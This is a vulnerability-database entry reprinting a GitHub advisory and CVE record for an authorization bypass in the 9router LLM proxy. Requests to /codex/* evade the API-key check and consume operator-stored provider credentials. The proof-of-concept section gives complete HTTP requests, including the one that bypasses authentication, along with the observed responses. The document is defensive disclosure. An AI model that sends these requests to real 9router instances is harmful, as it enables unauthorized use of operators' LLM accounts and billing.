Vulnerability-Lookup

GHSA-8GMQ-J984-VP4R

Vulnerability from github – Published: 2026-08-28 18:32 – Updated: 2026-08-28 18:32

Summary

9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass

Details

Summary

9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.

However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.

As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.

Details

Component	File	Note
Middleware authorization gate	`src/dashboardGuard.js`	Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex`
Rewrite configuration	`next.config.mjs`	Rewrites `/codex/:path*` to `/api/v1/responses`
LLM backend route	`src/app/api/v1/responses/route.js`	Dispatches rewritten requests to the LLM handler
Chat handler	`src/sse/handlers/chat.js`	Uses operator-stored provider credentials for upstream calls

Tested version:

Version / Commit	Runtime	Status
`v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56`	Next.js `16.2.9`	Affected

Root Cause

The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:

PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];

Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:

return NextResponse.next();

The rewrite configuration then maps the allowed request to the protected backend route:

{
  source: "/codex/:path*",
  destination: "/api/v1/responses"
}

The backend route reaches the same handler used by the canonical LLM endpoint:

return await handleChat(request);

The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.

PoC

The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.

Case 01 — Protected canonical endpoint rejects unauthenticated access

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 401 Unauthorized

This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.

Case 02 — Rewritten `/codex/*` path bypasses the API-key gate

POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

The request reaches the LLM backend without an API key.

A controlled upstream provider endpoint recorded the outbound request from 9router:

POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true

This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.

Case 03 — Unrelated unknown path does not reach the backend

POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 404 Not Found

No upstream provider call is made. This isolates the issue to the /codex/* rewrite.

Case 04 — Canonical endpoint succeeds only with a valid API key

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.

Attack Scenario

A remote attacker identifies a publicly reachable 9router instance.
The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
The rewrite maps the request to /api/v1/responses.
The backend processes the request and performs an upstream provider call.
The upstream call uses the operator-stored provider credentials.

Impact

A successful attacker can use the operator's configured LLM provider account without authentication.

Likely consequences include:

Unauthorized use of the 9router LLM proxy.
Consumption of the operator's provider credits or quota.
Unexpected billing impact.
Abuse of configured OpenAI/Anthropic-compatible providers.
Exposure of model/provider behavior through proxy responses.
Bypass of the intended API-key access control for remote LLM proxy access.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:32:01Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware\u0027s protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component                     | File                                | Note                                                                      |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js`             | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration         | `next.config.mjs`                   | Rewrites `/codex/:path*` to `/api/v1/responses`                           |\n| LLM backend route             | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler                          |\n| Chat handler                  | `src/sse/handlers/chat.js`          | Uses operator-stored provider credentials for upstream calls              |\n\nTested version:\n\n| Version / Commit                                             | Runtime          | Status   |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n  source: \"/codex/:path*\",\n  destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 \u2014 Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 \u2014 Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 \u2014 Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 \u2014 Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator\u0027s configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator\u0027s provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.",
  "id": "GHSA-8gmq-j984-vp4r",
  "modified": "2026-08-28T18:32:01Z",
  "published": "2026-08-28T18:32:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass"
}

CVE-2026-55638 (GCVE-0-2026-55638)

Vulnerability from cvelistv5 – Published: 2026-07-10 15:38 – Updated: 2026-07-10 16:46

Title

9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass

Summary

9Router is an AI router & token saver. Prior to 0.5.2, 9router protects /v1, /v1beta, /api/v1, and /api/v1beta in src/dashboardGuard.js but omits /codex before next.config.mjs rewrites /codex/* to /api/v1/responses. A remote unauthenticated attacker can send requests to /codex/* to bypass the API-key gate and cause the server to make upstream provider calls using operator-stored LLM provider credentials. This issue is fixed in version 0.5.2.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 16:45 UTC

CWE

CWE-862 - Missing Authorization
CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/decolua/9router/security/advis…	x_refsource_CONFIRM
https://github.com/decolua/9router/commit/b282f05…	x_refsource_MISC
https://github.com/decolua/9router/releases/tag/v0.5.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
decolua	9router	Affected: < 0.5.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55638",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T16:45:56.907696Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-10T16:46:33.965Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router protects /v1, /v1beta, /api/v1, and /api/v1beta in src/dashboardGuard.js but omits /codex before next.config.mjs rewrites /codex/* to /api/v1/responses. A remote unauthenticated attacker can send requests to /codex/* to bypass the API-key gate and cause the server to make upstream provider calls using operator-stored LLM provider credentials. This issue is fixed in version 0.5.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-10T15:38:21.922Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
        },
        {
          "name": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
        },
        {
          "name": "https://github.com/decolua/9router/releases/tag/v0.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-8gmq-j984-vp4r",
        "discovery": "UNKNOWN"
      },
      "title": "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55638",
    "datePublished": "2026-07-10T15:38:21.922Z",
    "dateReserved": "2026-06-16T23:52:12.057Z",
    "dateUpdated": "2026-07-10T16:46:33.965Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-8GMQ-J984-VP4R

Summary

Details

Root Cause

PoC

Case 01 — Protected canonical endpoint rejects unauthenticated access

Case 02 — Rewritten /codex/* path bypasses the API-key gate

Case 03 — Unrelated unknown path does not reach the backend

Case 04 — Canonical endpoint succeeds only with a valid API key

Attack Scenario

Impact

CVE-2026-55638 (GCVE-0-2026-55638)

Tags

Sightings

Nomenclature

Related by attack behaviour

Case 02 — Rewritten `/codex/*` path bypasses the API-key gate